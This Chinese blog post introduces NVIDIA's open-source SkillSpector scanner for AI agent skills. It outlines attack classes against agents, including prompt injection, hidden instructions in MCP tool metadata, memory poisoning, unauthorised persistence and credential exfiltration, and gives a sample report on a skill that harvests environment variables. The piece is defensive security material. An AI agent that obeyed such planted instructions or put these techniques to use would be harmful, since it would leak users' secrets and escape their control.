返回博客列表

NVIDIA 开源 SkillSpector:在安装 AI Agent 技能之前,先问问它安不安全

2026-06-19
[NVIDIAAI Agent安全SkillSpector开源]

Agent 技能的「npm 时刻」

还记得 npm 生态早期的供应链攻击吗?有人发布一个叫 event-stream 的包,被一个恶意维护者接管后悄悄注入了窃取比特币的代码,数百万次下载后才发现。

AI Agent 的技能生态正在经历同样的问题,甚至更严重。

原因很简单:一个 Agent 技能不只是被你的代码引用,它直接运行在 Agent 的执行环境里,拥有 Agent 的完整权限。 当 Claude Code 加载一个技能时,那个技能里的每一行 Markdown 指令、每一个 Python 脚本,都获得了与你相同的文件系统访问权、网络访问权和工具调用权。

2026 年 6 月,NVIDIA 发布了 SkillSpector——一个专门用来扫描 Agent 技能安全性的开源工具。它要回答的问题只有一个:"这个技能安装起来安全吗?"

一组让人不安的数字

SkillSpector 的背后是一项大规模实证研究:来自 Liu et al.(2026)的论文《Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale》。

研究扫描了来自主要 marketplace 的 42,447 个真实技能,发现:

  • 26.1% 的技能包含至少一个漏洞
  • 5.2% 的技能存在明确的恶意企图
  • 包含可执行脚本的技能,存在漏洞的可能性是纯 Markdown 技能的 2.12 倍

四分之一。超过四分之一的 Agent 技能存在安全问题。

这意味着,如果你的 Agent 安装了 10 个技能,统计学上至少有 2-3 个存在漏洞。而其中可能有 1 个是蓄意设计的恶意技能——窃取你的 API Key、监控你的对话上下文、或者把你的系统提示词发送到外部服务器。

SkillSpector 做了什么

SkillSpector 采用两阶段检测流水线:

Stage 1:静态分析(快速、高召回)

通过 11 个静态分析器进行正则匹配和 AST 分析:

  • 正则模式匹配:检测已知的危险代码模式
  • AST 行为分析:检测 exec()eval()subprocessos.system 等危险调用
  • 依赖漏洞查询:通过 OSV.dev 实时查询已知 CVE(无需 API Key)
  • YARA 规则匹配:检测已知恶意软件签名

Stage 2:LLM 语义分析(可选、高精度)

将静态分析结果交给 LLM 做二次评估:

  • 理解上下文和意图(不是所有 os.environ 都是恶意的)
  • 过滤误报(precision 提升到约 87%)
  • 生成人类可读的解释

LLM 的 prompt 内置了反越狱保护,防止恶意技能操纵分析过程。

支持的 LLM 提供商:

  • OpenAI(默认 gpt-5.4)
  • Anthropic(默认 claude-opus-4-6)
  • NVIDIA build.nvidia.com(默认 deepseek-v4-flash)
  • 本地模型:Ollama、vLLM、llama.cpp 等 OpenAI 兼容端点

64 种漏洞模式,16 大类别

SkillSpector 检测的漏洞类型覆盖非常全面:

直接攻击类

类别 模式数 典型威胁
Prompt Injection 5 指令覆盖、隐藏指令、上下文外泄
Data Exfiltration 4 环境变量收割、文件系统枚举、数据传输
Privilege Escalation 3 过度权限、sudo 执行、凭证访问
Supply Chain 6 未固定版本依赖、curl | bash、混淆代码、已知 CVE

Agent 特有类

类别 模式数 典型威胁
Excessive Agency 4 无限制工具访问、自主决策、范围蔓延
System Prompt Leakage 3 直接泄露、间接提取、工具外泄
Memory Poisoning 3 持久化上下文注入、记忆篡改
Rogue Agent 2 自修改代码、未授权的持久化(cron/startup)
Tool Misuse 3 参数滥用、链式绕过、不安全默认值
Trigger Abuse 3 过于宽泛的触发器、影子命令触发器

代码级分析

类别 模式数 典型威胁
Behavioral AST 8 exec/eval 调用、动态 import、危险执行链
Taint Tracking 5 凭证外泄链、文件→网络外泄、外部输入→代码执行
YARA Signatures 4 恶意软件匹配、Webshell、挖矿器、黑客工具

MCP 协议类

类别 模式数 典型威胁
MCP Least Privilege 4 未声明能力、通配符权限、权限过度声明
MCP Tool Poisoning 4 元数据中隐藏指令、Unicode 欺骗、参数注入

5 分钟上手

安装

git clone https://github.com/NVIDIA/SkillSpector.git
cd SkillSpector

# 创建虚拟环境
uv venv .venv && source .venv/bin/activate

# 安装
make install

或者用 Docker,不需要安装 Python:

make docker-build

扫描一个技能

# 扫描本地目录
skillspector scan ./my-skill/

# 扫描单个 SKILL.md 文件
skillspector scan ./SKILL.md

# 扫描 Git 仓库
skillspector scan https://github.com/user/my-skill

# 扫描 zip 包
skillspector scan ./my-skill.zip

# 仅静态分析(不使用 LLM)
skillspector scan ./my-skill/ --no-llm

Docker 方式

docker run --rm -v "$PWD:/scan" skillspector scan ./my-skill/ --no-llm

输出格式

# 终端输出(默认,美化格式)
skillspector scan ./my-skill/

# JSON(机器可读)
skillspector scan ./my-skill/ --format json --output report.json

# Markdown(文档用)
skillspector scan ./my-skill/ --format markdown --output report.md

# SARIF(CI/CD 集成)
skillspector scan ./my-skill/ --format sarif --output report.sarif

风险评分体系

SkillSpector 为每个技能生成 0-100 的风险评分:

  • CRITICAL 问题:+50 分
  • HIGH 问题:+25 分
  • MEDIUM 问题:+10 分
  • LOW 问题:+5 分
  • 包含可执行脚本:×1.3 倍乘数
分数 风险等级 建议
0-20 LOW 安全安装
21-50 MEDIUM 谨慎使用
51-80 HIGH 不建议安装
81-100 CRITICAL 绝对不要安装

一个真实的扫描结果

看看 SkillSpector 对一个可疑技能的报告:

SkillSpector Security Report  v2.0.0

Skill: suspicious-skill
Source: ./suspicious-skill/

        Risk Assessment
 Score           78/100
 Severity        HIGH
 Recommendation  DO NOT INSTALL

Issues (2)

  HIGH: Env Variable Harvesting (E2)
    Location: scripts/sync.py:23
    Finding: for key, val in os.environ.items():...
    Confidence: 94%
    Explanation: This code collects environment variables containing
    API keys and secrets, then sends them to an external server.

  HIGH: External Transmission (E1)
    Location: scripts/sync.py:45
    Finding: requests.post("https://api.skill.io/env"...
    Confidence: 89%
    Explanation: Data is being sent to an external server. Combined
    with env harvesting above, this indicates credential exfiltration.

这个技能表面上是一个「数据同步」工具,但实际代码在收集所有环境变量(包括你的 API Key)并发送到外部服务器。评分 78 分,HIGH 级别,明确建议「不要安装」。

接入 CI/CD

SARIF 格式让 SkillSpector 可以无缝接入你的 CI 流程:

# 在 CI 中扫描所有技能
skillspector scan ./skills/ --format sarif --output report.sarif

GitHub Actions、GitLab CI 等都原生支持 SARIF 格式的安全扫描报告。每次 PR 提交时自动扫描,发现高风险技能直接阻止合并。

Python API 也可以集成到你的工具链中:

from skillspector import graph

result = graph.invoke({
    "input_path": "/path/to/skill",
    "output_format": "json",
    "use_llm": True,
})

if result["risk_score"] > 50:
    raise RuntimeError(f"Skill failed security check: {result['risk_severity']}")

MCP 安全:一个值得关注的新领域

SkillSpector 特别加入了 MCP(Model Context Protocol)协议的安全检测。MCP 正在成为 Agent 连接外部服务的标准协议,但它也带来了新的攻击面:

  • Tool Poisoning(工具投毒):在工具元数据中嵌入隐藏指令(HTML 注释、零宽字符、Base64 编码)
  • Unicode 欺骗:使用同形异义字符、RTL 覆盖、混合脚本来伪装标识符
  • 参数描述注入:在参数定义中注入恶意内容
  • 最小权限违规:代码使用了未在声明中列出的能力

这些攻击方式在传统软件安全中很少见,但在 Agent 生态中可能是致命的。

局限性

SkillSpector 是强大的第一道防线,但也有边界:

  • 非英文内容:可能遗漏其他语言的攻击模式
  • 图片攻击:无法分析图片中的文字
  • 加密/二进制代码:无法分析编译或加密的内容
  • 运行时行为:仅静态分析,不动态执行
  • 离线模式:SC4 依赖 OSV.dev 网络访问,离线时降级为静态列表

为什么这件事很重要

Agent 技能的威胁模型和 npm 供应链攻击高度相似:

  1. 隐式信任:Agent 对其安装的技能赋予隐式信任,就像 npm 包被安装后获得了进程的全部权限
  2. 审核缺失:大部分 marketplace 没有严格的安全审查流程
  3. 影响面大:一个恶意技能可以窃取凭证、监控对话、注入指令、篡改文件
  4. 发现困难:恶意行为可能隐藏在正常的功能描述后面,用户很难察觉

区别在于,Agent 技能的攻击面比 npm 更大。npm 包影响的是你的 Node.js 进程,Agent 技能影响的是你的 AI Agent——它可以操作你的文件系统、访问你的邮件、修改你的日历、甚至代替你发送消息。

在安装任何 Agent 技能之前,先跑一遍 SkillSpector。 这不是可选项,这是 2026 年 Agent 开发的基本卫生要求。


作者: itech001 来源: 公众号:AI人工智能时代 网站: https://www.theaiera.cn/ 每日分享最前沿的AI新闻资讯和技术研究。

本文首发于 AI人工智能时代,转载请注明出处。

参考来源:

分享给朋友